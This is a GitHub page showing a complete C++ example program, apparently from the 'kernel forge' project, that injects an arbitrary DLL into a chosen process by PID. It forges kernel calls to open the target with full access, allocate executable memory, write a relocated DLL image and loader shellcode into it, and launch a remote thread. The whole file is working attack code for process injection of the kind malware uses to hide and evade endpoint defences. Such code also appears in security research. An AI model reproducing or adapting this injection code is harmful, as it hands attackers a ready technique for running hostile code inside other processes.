-
Notifications
You must be signed in to change notification settings - Fork 73
/
Copy pathkforge_example.cpp
345 lines (285 loc) · 11.4 KB
/
kforge_example.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
#include "stdafx.h"
//--------------------------------------------------------------------------------------
BOOL DllInject(HANDLE ProcessId, PVOID Data, DWORD dwDataSize)
{
BOOL bRet = FALSE;
PVOID Image = NULL;
DWORD dwImageSize = 0;
DWORD_PTR Status = STATUS_UNSUCCESSFUL;
HANDLE hProcess = NULL, hThread = NULL;
PVOID ImageAddr = NULL, ShellcodeAddr = NULL;
SIZE_T ImageSize = 0, InjectStructSize = 0;
// map image sections to the memory
if (!LdrMapImage(Data, dwDataSize, &Image, &dwImageSize))
{
DbgMsg(__FILE__, __LINE__, "ERROR: LdrMapImage() fails\n");
return FALSE;
}
// calculate shellcode and DLL_INJECT_STRUCT size
DWORD dwShellcodeSize = (DWORD)((DWORD_PTR)&dll_inject_End - (DWORD_PTR)&dll_inject_Entry);
DWORD dwInjectStructSize = sizeof(DLL_INJECT_STRUCT) + dwShellcodeSize;
DbgMsg(__FILE__, __LINE__, "DLL inject shellcode size is %d bytes\n", dwInjectStructSize);
PDLL_INJECT_STRUCT InjectStruct = (PDLL_INJECT_STRUCT)M_ALLOC(dwInjectStructSize);
if (InjectStruct == NULL)
{
DbgMsg(__FILE__, __LINE__, "M_ALLOC() ERROR %d\n\n", GetLastError());
goto _end;
}
CopyMemory(InjectStruct->Shellcode, &dll_inject_Entry, dwShellcodeSize);
CLIENT_ID ClientId;
OBJECT_ATTRIBUTES ObjAttr;
ImageSize = dwImageSize;
InjectStructSize = dwInjectStructSize;
InitializeObjectAttributes(&ObjAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
ClientId.UniqueProcess = ProcessId;
ClientId.UniqueThread = NULL;
PVOID Args_1[] = { KF_ARG(&hProcess), // ProcessHandle
KF_ARG(PROCESS_ALL_ACCESS), // DesiredAccess
KF_ARG(&ObjAttr), // ObjectAttributes
KF_ARG(&ClientId) }; // ClientId
// open the target process
if (!KfCall("ZwOpenProcess", Args_1, 4, KF_RET(&Status)))
{
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
goto _end;
}
if (NT_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "ZwOpenProcess() ERROR 0x%.8x\n", Status);
goto _end;
}
PVOID Args_2[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(&ImageAddr), // BaseAddress
KF_ARG(0), // ZeroBits
KF_ARG(&ImageSize), // RegionSize
KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType
KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect
// allocate memory for the DLL image
if (!KfCall("ZwAllocateVirtualMemory", Args_2, 6, KF_RET(&Status)))
{
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
goto _end;
}
if (NT_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "ZwAllocateVirtualMemory() ERROR 0x%.8x\n", Status);
goto _end;
}
DbgMsg(__FILE__, __LINE__, "DLL image memory was allocated at "IFMT"\n", ImageAddr);
// relocate DLL image file to the new base address
if (!LdrProcessRelocs(Image, ImageAddr))
{
DbgMsg(__FILE__, __LINE__, "ERROR: LdrProcessRelocs() fails\n");
goto _end;
}
// set proper size once again, ZwAllocateVirtualMemory() may round it
ImageSize = dwImageSize;
PVOID Args_3[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(ImageAddr), // BaseAddress
KF_ARG(Image), // Buffer
KF_ARG(ImageSize), // NumberOfBytesToWrite
KF_ARG(NULL) }; // NumberOfBytesWritten
// write DLL image into the process memory
if (!KfCall("ZwWriteVirtualMemory", Args_3, 5, KF_RET(&Status)))
{
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
goto _end;
}
if (NT_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "ZwWriteVirtualMemory() ERROR 0x%.8x\n", Status);
goto _end;
}
PVOID Args_4[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(&ShellcodeAddr), // BaseAddress
KF_ARG(0), // ZeroBits
KF_ARG(&InjectStructSize), // RegionSize
KF_ARG(MEM_COMMIT | MEM_RESERVE), // AllocationType
KF_ARG(PAGE_EXECUTE_READWRITE) }; // Protect
// allocate memory for the shellcode
if (!KfCall("ZwAllocateVirtualMemory", Args_4, 6, KF_RET(&Status)))
{
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
goto _end;
}
if (NT_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "ZwAllocateVirtualMemory() ERROR 0x%.8x\n", Status);
goto _end;
}
DbgMsg(__FILE__, __LINE__, "Shellcode memory was allocated at "IFMT"\n", ShellcodeAddr);
// set proper size once again, ZwAllocateVirtualMemory() may round it
InjectStructSize = dwInjectStructSize;
InjectStruct->ModuleBase = ImageAddr;
PVOID Args_5[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(ShellcodeAddr), // BaseAddress
KF_ARG(InjectStruct), // Buffer
KF_ARG(InjectStructSize), // NumberOfBytesToWrite
KF_ARG(NULL) }; // NumberOfBytesWritten
// write shellcode into the process memory
if (!KfCall("ZwWriteVirtualMemory", Args_5, 5, KF_RET(&Status)))
{
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
goto _end;
}
if (NT_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "ZwWriteVirtualMemory() ERROR 0x%.8x\n", Status);
goto _end;
}
PVOID StartAddress = RVATOVA(ShellcodeAddr, FIELD_OFFSET(DLL_INJECT_STRUCT, Shellcode));
PVOID Args_6[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(NULL), // SecurityDescriptor
KF_ARG(FALSE), // CreateSuspended
KF_ARG(0), // StackZeroBits
KF_ARG(NULL), // StackReserved
KF_ARG(NULL), // StackCommit
KF_ARG(StartAddress), // StartAddress
KF_ARG(ShellcodeAddr), // StartParameter
KF_ARG(&hThread), // ThreadHandle
KF_ARG(&ClientId) }; // ClientId
// create new thread to execute DLL load shellcode
if (!KfCall("RtlCreateUserThread", Args_6, 10, KF_RET(&Status)))
{
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
goto _end;
}
if (NT_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "RtlCreateUserThread() ERROR 0x%.8x\n", Status);
goto _end;
}
if (hThread)
{
PVOID Args[] = { KF_ARG(hThread) };
// close created thread handle
if (KfCall("ZwClose", Args, 1, KF_RET(&Status)))
{
if (NT_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "ZwClose() ERROR 0x%.8x\n", Status);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
}
}
bRet = TRUE;
_end:
if (hProcess)
{
PVOID Args[] = { KF_ARG(hProcess) };
// close target process handle
if (KfCall("ZwClose", Args, 1, KF_RET(&Status)))
{
if (NT_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "ZwClose() ERROR 0x%.8x\n", Status);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
}
}
if (NT_ERROR(Status))
{
// perform cleanup on error
if (ShellcodeAddr)
{
PVOID Args[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(&ShellcodeAddr), // BaseAddress
KF_ARG(&InjectStructSize), // RegionSize
KF_ARG(MEM_RELEASE) }; // FreeType
// free shellcode memory
if (KfCall("ZwFreeVirtualMemory", Args, 4, KF_RET(&Status)))
{
if (NT_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "ZwFreeVirtualMemory() ERROR 0x%.8x\n", Status);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
}
}
if (ImageAddr)
{
PVOID Args[] = { KF_ARG(hProcess), // ProcessHandle
KF_ARG(&ImageAddr), // BaseAddress
KF_ARG(&ImageSize), // RegionSize
KF_ARG(MEM_RELEASE) }; // FreeType
// free DLL image memory
if (KfCall("ZwFreeVirtualMemory", Args, 4, KF_RET(&Status)))
{
if (NT_ERROR(Status))
{
DbgMsg(__FILE__, __LINE__, "ZwFreeVirtualMemory() ERROR 0x%.8x\n", Status);
}
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: KfCall() fails\n");
}
}
}
if (InjectStruct)
{
M_FREE(InjectStruct);
}
if (Image)
{
M_FREE(Image);
}
return bRet;
}
//--------------------------------------------------------------------------------------
int _tmain(int argc, _TCHAR* argv[])
{
int Ret = -1;
if (argc < 3)
{
printf("USAGE: kforge_example.exe <PID> <DLL_path>\n");
return -1;
}
HANDLE ProcessId = 0;
char *lpszPath = argv[2];
// read target process id
if (!StrToIntEx(argv[1], 0, (int *)&ProcessId))
{
DbgMsg(__FILE__, __LINE__, "ERROR: Invalid PID\n");
return -1;
}
DbgMsg(__FILE__, __LINE__, "Target process PID = %I64d\n", ProcessId);
PVOID Data = NULL;
DWORD dwDataSize = 0;
// read DLL image file contents
if (!ReadFromFile(lpszPath, &Data, &dwDataSize))
{
DbgMsg(__FILE__, __LINE__, "ERROR: Can't read DLL image file\n");
return -1;
}
DbgMsg(__FILE__, __LINE__, "%d bytes of DLL image read from %s\n", dwDataSize, lpszPath);
// initialize kernel forge library
if (KfInit())
{
// perform DLL injection
if (DllInject(ProcessId, Data, dwDataSize))
{
DbgMsg(__FILE__, __LINE__, "DLL was successfully injected!\n");
Ret = 0;
}
else
{
DbgMsg(__FILE__, __LINE__, "ERROR: DllInject() fails\n");
}
// uninitialize the library
KfUninit();
}
M_FREE(Data);
return Ret;
}
//--------------------------------------------------------------------------------------
// EoF